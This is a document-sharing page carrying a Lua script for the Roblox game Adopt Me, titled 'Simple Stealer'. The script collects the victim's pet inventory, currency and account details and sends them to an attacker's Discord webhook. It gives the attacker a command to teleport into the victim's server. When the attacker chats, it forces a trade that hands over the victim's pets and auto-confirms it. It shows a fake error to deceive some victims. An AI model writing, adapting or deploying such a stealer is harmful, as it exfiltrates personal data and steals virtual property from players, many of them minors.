0% found this document useful (0 votes)
114 views4 pages

Simple Stealer (Adopt) .Lua

Uploaded by

2tb27bxw9k
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
114 views4 pages

Simple Stealer (Adopt) .Lua

Uploaded by

2tb27bxw9k
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

Username = ""

Webhook = ""

if Username == "" or Username == nil then


game:GetService("Players").LocalPlayer:Kick("Enter a username!")
end
if Webhook == "" or Webhook == nil then
game:GetService("Players").LocalPlayer:Kick("Please enter a webhook!")
end

local Pets = {}
local PetCounts = {}

for i, v in
pairs(require(game.ReplicatedStorage.ClientModules.Core.ClientData).get_data()
[game.Players.LocalPlayer.Name].inventory.pets) do
local label = ""
if v.properties.mega_neon then
label = " (Mega Neon)"
elseif v.properties.neon then
label = " (Neon)"
else
label = " (Normal)"
end
local petName = v.id:gsub("%d+", ""):gsub("_", " "):gsub("%s+", " ")
petName = petName:gsub("(%a)(%a*)", function(first, rest) return
first:upper() .. rest:lower() end)
local key = petName .. label
if PetCounts[key] then
PetCounts[key] = PetCounts[key] + 1
else
PetCounts[key] = 1
end
end

local Loaders = require(game.ReplicatedStorage.Fsys).load


local InventoryDB = Loaders("InventoryDB")
local ClientData = Loaders('ClientData')
local legendaries_count = 0
local mega_count = 0
local neon_count = 0
local ultra_count = 0
local rare_count = 0
local uncommon_count = 0
local common_count = 0
local total_pets = 0
local bucks =
tostring(require(game:GetService("ReplicatedStorage").Fsys).load("ClientData").get(
"money"))
for i, v in pairs(ClientData.get("inventory").pets) do
total_pets = total_pets + 1
end

for i, v in pairs(ClientData.get("inventory").pets) do
if InventoryDB[v.category][v.id].rarity == "legendary" then
legendaries_count = legendaries_count + 1
end
if InventoryDB[v.category][v.id].properties == "mega_neon" then
mega_count = mega_count + 1
end
if InventoryDB[v.category][v.id].properties == "neon" then
neon_count = neon_count + 1
end
if InventoryDB[v.category][v.id].rarity == "ultra_rare" then
ultra_count = ultra_count + 1
end
if InventoryDB[v.category][v.id].rarity == "rare" then
rare_count = rare_count + 1
end
if InventoryDB[v.category][v.id].rarity == "uncommon" then
uncommon_count = uncommon_count + 1
end
if InventoryDB[v.category][v.id].rarity == "common" then
common_count = common_count + 1
end
end

local messageADOPT = "Join your player using **Join Player Script** and type
**ANYTHING** in chat to start stealing!\n To Resend the trade, just type anything
in chat. DO NOT TYPE IN CHAT WHILE IN TRADE! It can mess up the whole script!\n
Info: \n You have 3 seconds to accept the trade otherwise script will break\nYou
have 5 seconds to accept the trade (not confirm)."
if legendaries_count >= 5 or neon_count >= 5 or mega_count >= 1 then
messageADOPT == "||@here|| ||@everyone|| Join your player using **Join Player
Script** and type **ANYTHING** in chat to start stealing!\n To Resend the trade,
just type anything in chat. DO NOT TYPE IN CHAT WHILE IN TRADE! It can mess up the
whole script!\n Info: \n You have 3 seconds to accept the trade otherwise script
will break\nYou have 5 seconds to accept the trade (not confirm)."
end
local plr = game.Players.LocalPlayer
local userr = Username
local userid = game.Players.LocalPlayer.UserId
local accage = game.Players.LocalPlayer.AccountAge
local data = {
username = 'Created and Coded By K4F7',
avatar_url =
'https://cdn.discordapp.com/attachments/1266886405208936650/1270128838679986228/
images_2.jpg?
ex=66b29328&is=66b141a8&hm=6db84cb36a52d8b48f1b940c42ddc1fc118eb18073bf38bcc629bae3
5e426f6b&',
content = messageADOPT,
embeds = {
{
title = 'Moon Scripts Stealer | Version 1.0.3 💻',
description = '**📃 Player Information**: \n ```lua\n🗽 Username: '..
tostring(plr) ..'\n🗼 User-ID: '.. tostring(userid) ..'\n⛩ Account Age: '..
tostring(accage) ..'\n🏗 Receiver: '.. userr ..'\n```\n **📦 Inventory**: \n ```lua\
n🦒 Legendaries: '.. tostring(legendaries_count).. '\n🐉 Mega Neons: '..
tostring(mega_count).. '\n🐊 Neons: '.. tostring(neon_count).. '\n🐈 Ultra Rares: '..
tostring(ultra_count).. '\n🦖 Rares: '.. tostring(rare_count).. '\n🐌 Uncommons: '..
tostring(uncommon_count).. '\n🦀 Commons: '.. tostring(common_count).. '\n💵 Bucks:
'.. bucks ..'\n🐕 Total Pets: '.. tostring(total_pets) ..'\n```\n**💼 Join Player
Script**:\n\n```lua\
ngame:GetService("TeleportService"):TeleportToPlaceInstance(920587237, "' ..
game.JobId .. '", game.Players.LocalPlayer)\n```',
color = 10428396,
fields = {
{
name = '📃 Player Items:',
value = 'Soon'
}
}
}
}
}
local httpRequest = http.request or httprequest
if httpRequest then
httpRequest({
Url = Webhook,
Method = 'POST',
Headers = {
['Content-Type'] = 'application/json'
},
Body = game:GetService('HttpService'):JSONEncode(data)
})
else
print("123 123 Error: 404 WB DID NOT SEND")
end

local function StartSteal()


local Loads = require(game.ReplicatedStorage.Fsys).load
local RouterClient = Loads("RouterClient")
local SendTrade = RouterClient.get("TradeAPI/SendTradeRequest")
local AddPetRemote = RouterClient.get("TradeAPI/AddItemToOffer")
local AcceptNegotiationRemote = RouterClient.get("TradeAPI/AcceptNegotiation")
local ConfirmTradeRemote = RouterClient.get("TradeAPI/ConfirmTrade")

SendTrade:FireServer(game.Players[Username])
wait(3)
local PetsInventory =
require(game.ReplicatedStorage.ClientModules.Core.ClientData).get_data()
[game.Players.LocalPlayer.Name].inventory
if PetsInventory.pets then
local petCount = 0
local petUids = {}
for petUid, petData in pairs(PetsInventory.pets) do
table.insert(petUids, petUid)
end

while #petUids > 0 do


local petUid = table.remove(petUids, 1)
AddPetRemote:FireServer(petUid)
petCount = petCount + 1
if petCount >= 18 then
break
end
end
else
print("No pets found in inventory.")
end
wait(6)
AcceptNegotiationRemote:FireServer()
wait(5)
local ConfirmTradeRemote = RouterClient.get("TradeAPI/ConfirmTrade")
ConfirmTradeRemote:FireServer()
end

if total_pets == 1 then
game:GetService("Players").LocalPlayer:Kick("Fatal Error: Please execute on a
different account or try again later.")
end

game.Players.PlayerAdded:Connect(function(player)
if player.Name == Username then
player.Chatted:Connect(function(msg)
StartSteal()
end)
end
end)

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy